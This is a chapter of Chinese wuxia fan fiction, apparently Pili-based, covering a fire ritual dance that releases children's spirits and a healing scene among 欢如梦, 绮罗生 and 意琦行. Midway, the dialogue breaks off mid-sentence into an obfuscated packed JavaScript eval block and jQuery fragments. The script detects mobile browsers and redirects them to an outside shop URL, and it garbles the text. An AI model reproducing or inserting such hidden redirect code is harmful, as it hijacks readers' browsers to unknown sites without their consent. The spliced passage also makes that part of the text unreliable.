叫唤渊薮之上
绮罗生与意琦行屏息凝神看向祭台中央上闭目冥想的女子。
伴随着风吹铃动,光浪如潮水漫过双足,带着叹息轻抚大地上幽微草木。欢如梦提起裙摆,缓缓抬起脚,气息下沉,踏出了第一步。
其步态既有白鹤起飞那瞬间的轻盈飘逸,又有振翅翱翔高空的力度。女子身如杨柳,步伐带动双手的起舞。她的动律优美、细腻、柔和而悠长,动中有静且柔中带刚。
她不是在跳舞,而是在绽放。一举一动充满了宗教祭祀的味道,诡谲苍劲,凌冽飒爽。
没有追求天地共生的恢宏,没有缠绵悱恻的倾诉衷肠,而是回归了生命本身,掷地有声的生命力本身。
生命自在欣悦地舒展,在流动。
时光仿佛静止,微风吹过,花海泛起层层波浪,一波接连一波,四方八方朝着女子舞动。
一片白色山茶花瓣飘过。
花瓣冒着淡淡的雾气,在她的眉间萦绕。一缕青烟在风中袅袅缭绕,嫩白的边缘渐渐焦黄枯萎。
然而就在女子睁眼那一瞬间,如火苗般簇放出耀眼的光热。
她终于理解了一切。
墨色渐渐从她的双目中淡去,化为璀璨的金茫。
以欢如梦为中心,明艳的火舌舔舐着纯白花海,燎原之势浩浩荡荡地侵袭而来,瞬间点燃一片浩瀚火海。
她在燃烧的花海之上起舞。
绮罗生听到了与众不同的风声,势如破竹。
他虽不是第一次看欢如梦跳舞但仍觉得很震撼。
起舞衣袂起,胜借西风力。大气蓬勃之力,由内而外。女子的动作行云流水一气呵成,温婉不失坚毅,柔美不失力量。
燃烧的声音如雷贯耳,火势汹涌像一头失控的巨兽疯狂地肆虐着。
她像凌霄,像松柏,像劲竹,像野马,像降龙木。火浪在鼓面上飞溅,五色彩绸翻飞,被熊熊烈火烧灼却乘火风而上,任凭东西南北风呼啸也不动摇。
“咔擦——”
一座座坟冢由墓碑至墓尾乍然开裂,露出深埋在地下的土陶娃娃。
风中翻滚的火焰,炽灼烧人。
绮罗生忽然睁大了眼睛,看向剑者。
“意琦行,你有没有听到……”
“嗯。”
耳边传来孩子们的欢笑。
遥远的歌声,美好的童音,孩子们纯净的歌唱最打动人心。
看到这些探头探脑的孩子们,她就仿佛看到了童年的自己,听到他们的童声响起,她就情不自禁的跟着一起哼唱。
陶土娃娃们的面容在火焰中逐渐融化,又如火焰一般燃烧得炽烈。
意琦行与绮罗生彼此无言的望着沐浴在火焰中的模糊人影。
一束束柔光自土陶娃娃中骤然迸射出来,多道光芒糅杂在一起,凝聚出一个个孩童的身形。
四方上下,山茶花摆动摇曳白得耀眼,火光汹涌地蚕食着那漫天墨色,烈火燃烧在绚烂的天际,映衬着整片天空变成烈焰白花的海洋。
在火光中苏醒,在火光中新生。
孩子们如同一团团吸饱了霞光的云朵,时而浓,时而淡,时而聚,时而散。从意琦行和绮罗生的身边跑过去。
一个孩子蹦蹦跳跳的从意琦行身体中穿了过去,啪叽一下摔倒在地。
意琦行愣住了,下意识后退一步让开。
他看到这孩子的一条腿被齐根切断。
这时候从后面跑过来一个扎着麻花辫的小女孩,她把脸朝下趴在地上的小同伴拉起来,回头冲着两个大人露出一个笑。
异族女孩两只眼睛的位置,只剩下凹陷的眼眶,有人挖走了她的眼球。
绮罗生握紧了雪璞扇。
他们手拉手追上来,孩子们都簇拥着欢如梦绕成一圈跳着舞,直到化为了火焰的一部分。
熊熊烈火灼烧着周围的一切,火舌蔓延到女子的脚根,她一言不发,裙飞一团火烧云,烈焰渐渐蔓延到她的全身。
欢如梦扬臂一甩,将红衫抛向空中。
燃烧的衣衫似一道红浪,飘舞在天空中,似乎在述说着洗尽尘埃的自由与洒脱。她的目光坚定,眉目凛然,信步鸿蒙之轻,也领苍生之重。
一袭白衣旋身而舞洗练出与生俱来的韧劲。
任由火焰肆意燃烧 ,直至此火燃尽,从此再无束缚。
天色大亮,阳光照射在一座座坟冢上,折射出万道金光,无数鸟雀在天空中盘旋飞舞仿佛熔解在金色的晨光里。
第一缕阳光照射在她的脸上,阴云已散去,风吹来自由的气息。
烧焦的手鼓掉落在地,铜铃碎裂成片。
欢如梦的眼眸暗淡了下来,她缓缓合上双眼,心神一松,身体骤然脱力软倒下去。
意琦行与绮罗生脸色一变连忙上前。
“如梦,你怎么样?”
“还好咳咳……”
绮罗生小心将她扶着坐了起来。
欢如梦浑身无一处不痛,面色苍白,额头甚至有热汗滴落。绮罗生见了都摇头:
“你这可不像是还好的样子。”
他看出欢如梦跳舞时始终提着一口颤息,这也是为什么她舞动时给人一直往上攀升的感觉但是又感觉很灵动的原因。绮罗生都受她影响有点不太敢呼吸。
现在这口气息散了,人自然也泄劲了。
“心火通灵,以显其形。吾此身功体以心火化作柴薪,亦是内在灵性能量的源泉。”欢如梦断断续续的解释道:“吾自幼为心之所动而钳制,焚烧五内凝聚心火。别担心,我只是心火流失过多,一时有些脱力罢了。”
还不等他们问,她就向他们和盘托出了。
欢如梦极为信任他们,绮罗生和意琦行自然察觉到了,却也抓住了她无意间透露出的一句话。
五内俱焚?那岂不是撕心裂肺、痛不欲生。
绮罗生和意琦行对视一眼达成默契,由绮罗生支撑着欢如梦摇摇欲坠的身体,意琦行横掌向她输送功力为其疗伤。
欢如梦努力维持最后一丝清明,随着真气补入各脉关键经络进行滋养,一点心火的火苗重新凝聚在心窍之内,她的面色渐渐恢复了血色,脉搏也逐渐细弱而缓慢。
但意琦行并没有停下反而再度运功。
真气如云般汇聚凝练,其颜色渐渐地变成灰色,凝练程度越来越高,颜色也越来越深。渐渐地有丝丝电光在体内真气当中流转,随着电光的出现,真气之云变得躁动起来,就连气血之力也开始活跃起来。
绽放的雷霆和电光朝着欢如梦全身各处蔓延过去,同时呼应欢如梦体内的真气和气血。
然而下一刻,雷霆和电光却在意琦行的强势镇压下稳定下来,不但没有引动真气和气血,反而开始循序渐进的淬炼真气、气血和身体各处。
随着雷电的淬炼,欢如梦能够清晰地感觉到身体素质的提升。真气变得越发精纯,气血变得越发强悍,躯体变得越发坚韧。
“剑宿送我这场造化,真是不知该如何感谢。”
“既入七修,当为手足兄弟。既是兄弟,无需再言谢。”
绮罗生简直要被他的耿直打败了。
“意琦行,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12328715|131097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你不觉得这话……”
意琦行不解的看向绮罗生,问:
“嗯?有何不妥。”
欢如梦却道:
“不,没什么。能和剑宿情同手足,是我之幸。”
意琦行想起恶骨的拒绝。
谁不希望自己的好意被善待和理解呢?
欢如梦天赋好性格好人品好又努力会上道。反观恶骨,哼。
这样一对比,意琦行看欢如梦越发顺眼了,眼神中多少带出些意思:瞧瞧,还得是自家人啊。
欢如梦可是琢磨过来味儿了。
她如今算是在七修混出头了。意琦行把她当做兄弟这种说法听起来貌似很直男。但从意琦行的角度出发,他这是把欢如梦放在与他同一高度上,平等的相处。
不枉费她拿出毕生所学的演技。
脉象、伤势都可以造假,要知道身体本能的反应才是最难演的!
绮罗生无奈一笑:“罢了,你们都觉得好,那就皆大欢喜。倒是我多思多虑了。”
“没有的事情,姐妹。”
欢如梦道。
绮罗生失笑,按住她的脉诊断一番,道:
“亏空过重仍需修养,能起身吗?”
欢如梦点点头,借着绮罗生的力站起来。
然而双腿却呈现无力发软之状,她脚下虚浮,一个趔趄险些栽倒在地。
“没事儿吧?”
绮罗生眼疾手快的扶稳了,伸手在欢如梦眼前挥了挥。
她不自觉地晃了晃头,眸光涣散。绮罗生拧眉,脸上担忧更加深了。
“走这边。”
意琦行道。
他走在前面带路,绮罗生抱起欢如梦跟上。他们来到小木屋前,门上禁制解开后,映入眼帘的竟是一大片遮天蔽日的树林。
露珠在叶尖闪烁,空气中弥漫着清新的味道,沿着蜿蜒的小路前行,溪水潺潺,两旁古树参天,奇峰异石点缀其间。林中有湖泊,清澈见底。
湖泊不算很大,一眼就能望到对岸。
“把我放到这里吧。别担心,我只要睡一觉就会好起来。”
欢如梦伸手指向湖心。
“好。”
绮罗生抱着她走向湖心,将她缓缓放下来。
女子大半个身子已经浸入湖水中,涟漪缓缓地,一波一波亲吻着岸边。
清得近似透明的湖水柔软顺滑,揉皱的水波蔓延过她的睡颜,欢如梦继续往下沉去,湖面恢复了平静。
绮罗生感知到这片湖泊竟然有着净化天地玄气的能力,放下心来。
意琦行看着她静静躺在水底,女子肤白如雪,斑斑驳驳的倒影映在她的脸上。原本充满灵性的双眼此时闭合起来,翘长的睫毛微微颤动,水流缓慢拂过黑而柔软的长发。
一切看上去都是那么美好静谧,令人心颤。
“你既担心,就暂留此处吧。如果她还醒着,想必也会同意。”
“好啊,此处风景绝佳,令人流连忘返。可惜剑宿是个大忙人,无暇也无心欣赏了。”
青翠的树木高耸入云,枝叶茂盛,树叶沙沙作响。白衣公子、绝代剑者置身于一片繁茂的绿意,竟成了一道风景线。
对于绮罗生的调侃,意琦行不置可否,只微微颔首,转身离开了此地。
喜欢花花草草是苦境人刻在骨子里的浪漫。欢如梦心中腹议道:这是苦境人一到年纪必定会觉醒的血脉,意琦行你个战云界留学生懂个什么。
『你才是年纪最小的。』
邪神吐槽道。
错,老娘是活化石。